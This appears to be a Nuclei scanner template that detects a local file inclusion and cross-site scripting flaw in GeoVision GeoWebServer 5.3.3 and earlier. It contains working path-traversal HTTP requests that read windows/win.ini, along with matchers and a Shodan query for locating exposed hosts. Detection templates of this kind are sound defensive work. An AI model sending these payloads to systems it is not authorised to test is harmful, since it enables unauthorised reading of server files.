id: CVE-2021-47795 info: name: GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting author: shamo0 severity: high description: | GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts. impact: | Unauthenticated attackers can read arbitrary files from the server via path traversal, or execute arbitrary JavaScript in the victim's browser via reflected XSS. remediation: | Contact GeoVision support for a patched firmware version that addresses the input sanitization issues. reference: - https://www.exploit-db.com/exploits/50211 - https://www.geovision.com.tw/cyber_security.php - https://nvd.nist.gov/vuln/detail/CVE-2021-47795 classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.2 cve-id: CVE-2021-47795 epss-score: 0.02615 epss-percentile: 0.83825 cwe-id: CWE-22 metadata: verified: true max-request: 3 vendor: geovision product: geowebserver shodan-query: title:"Geowebserver" tags: cve,cve2021,geovision,geowebserver,lfi,xss,vuln,vkev http: - raw: - | GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name= HTTP/1.1 Host: {{Hostname}} - | POST /Visitor/bin/WebStrings.srf?obj_name=win.ini HTTP/1.1 Host: {{Hostname}} Content-Length: 0 - | GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini HTTP/1.1 Host: {{Hostname}} matchers-condition: or matchers: - type: dsl name: lfi dsl: - 'contains_all(body, "for 16-bit", "[fonts]", "[extensions]")' - 'contains(content_type, "application/octet-stream")' - 'status_code == 200' condition: and - type: dsl name: xss dsl: - 'contains_all(body, "={\"AeDebug")' - 'contains(content_type, "text/html")' - 'status_code == 200' condition: and # digest: 4a0a00473045022100f84d9ee73d6a666d22965779f2a87beceb3bd8f8c4c13f446200afeca714c9d90220196e25712f99ef1b6827b736b4c17f6c8660f547dc86061060c36c3910e9ac57:922c64590222798bb761d5b6d8e72950